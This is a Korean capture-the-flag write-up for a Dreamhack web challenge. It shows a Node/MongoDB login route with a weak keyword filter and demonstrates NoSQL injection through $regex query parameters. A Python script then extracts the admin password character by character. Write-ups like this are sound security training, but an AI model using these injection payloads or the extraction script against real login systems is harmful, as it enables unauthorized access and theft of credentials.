wyv3rn 2023. 5. 23. 08:09
728x90
반응형

1. intro

2. code 및 분석

2.1.  code

main.js

const express = require('express');
const app = express();

const mongoose = require('mongoose');
mongoose.connect('mongodb://localhost/main', { useNewUrlParser: true, useUnifiedTopology: true });
const db = mongoose.connection;

// flag is in db, {'uid': 'admin', 'upw': 'DH{32alphanumeric}'}
const BAN = ['admin', 'dh', 'admi'];

filter = function(data){
    const dump = JSON.stringify(data).toLowerCase();
    var flag = false;
    BAN.forEach(function(word){
        if(dump.indexOf(word)!=-1) flag = true;
    });
    return flag;
}

app.get('/login', function(req, res) {
    if(filter(req.query)){
        res.send('filter');
        return;
    }
    const {uid, upw} = req.query;

    db.collection('user').findOne({
        'uid': uid,
        'upw': upw,
    }, function(err, result){
        if (err){
            res.send('err');
        }else if(result){
            res.send(result['uid']);
        }else{
            res.send('undefined');
        }
    })
});

app.get('/', function(req, res) {
    res.send('/login?uid=guest&upw=guest');
});

app.listen(8000, '0.0.0.0');

pakage.json

{
  "name": "Web-C",
  "version": "1.0.0",
  "description": "Web-C",
  "main": "main.js",
  "scripts": {
    "test": "echo \"Error: no test specified\" && exit 1"
  },
  "dependencies": {
    "express": "^4.17.1",
    "express-session": "^1.17.0",
    "mongoose": "^5.10.4"
  }
}

 

2.2. 분석

main.js에서 주요 사항은 log in page에서 uid와 upw를 입력 받는데,

변수 명이 잘못되었거나, uid 또는 upw가 일치하지 않으면 undefined를 출력한다.

더불어 admin, dh, admi 문자열은 필터링 된다.

 

3. 취약점 확인 및 공격 준비

3.1. 취약점

sqlinjection

3.2. 공격 준비

단순히 문자열만 필터링 하였기에 우회가 가능하다.

강의에서 나온 것과 같이 정규표현식과 임의의 문자열을 표현하는 "."를 통해 우회가 가능한 것이다.

 

예를 들어 로그인 시

http://host3.dreamhack.games:20153/login?uid=guest&upw[$regex]=.* 

와 같이 입력하면 로그인이 된다.

즉,

http://host3.dreamhack.games:20153/login?uid[$regex]=ad.in&upw[$regex]=.*

로 admin으로 로그인도 가능하다.

 

본 문제에서 알아내려고 하는 것은 admin의 password이니, 한 글자씩 대조해보며 로그인이 되는지 확인해보면 된다.

 

4. exploit

import requests, string

HOST = 'http://localhost'

ALPHANUMERIC = string.digits + string.ascii_letters

SUCCESS = 'admin'

flag = ''

for i in range(32):

    for ch in ALPHANUMERIC:

        response = requests.get(f'{HOST}/login?uid[$regex]=ad.in&upw[$regex]=D.{{{flag}{ch}')

        if response.text == SUCCESS:

            flag += ch

            break

    print(f'FLAG: DH{{{flag}}}')

 

728x90
반응형